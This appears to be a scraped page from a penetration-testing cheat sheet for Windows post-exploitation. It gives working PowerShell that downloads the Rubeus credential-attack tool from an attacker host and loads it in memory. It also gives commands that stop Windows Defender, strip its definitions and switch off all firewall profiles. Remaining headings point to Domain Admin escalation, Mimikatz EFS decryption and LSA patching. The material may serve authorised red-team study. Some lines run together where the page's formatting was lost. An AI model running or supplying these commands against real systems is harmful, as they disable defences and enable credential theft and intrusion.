Miscellaneous
Reflective Loading
$d = (New-Object http://System.Net.WebClient).DownloadData('http://<ip>/Rubeus.exe')
$a = [System.Reflection.Assembly]::Load($d)
[Rubeus.Program]::Main("triage".Split())Windows Defender
# Disable service
sc.exe stop WinDefend
# Disable runtime
Set-MpPreference -DisableRealtimeMonitoring $true
# Remove definitions
"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -AllFirewall
Netsh Advfirewall show allprofiles
NetSh Advfirewall set allprofiles state offIp Whitelisting
Changing Permissions of a file
Downloading files
Adding user to Domain admins
Base64 Encode-Decode
Network sharing
Local share
Remote share
Mounting shares
Hosting a local smbserver
Port Forwarding
Powershell Portscan
Recovering Powershell Secure String
Injecting PowerShell scripts Into sessions
Enable RDP
In cmd.exe,
In powershell,
Decrypting EFS files with Mimikatz
Follow the link here How to Decrypt EFS Files
Patching LSA
Check if LSA Protection is enabled,
Upload mimikatz and mimidrv.sys and patch it using
Last updated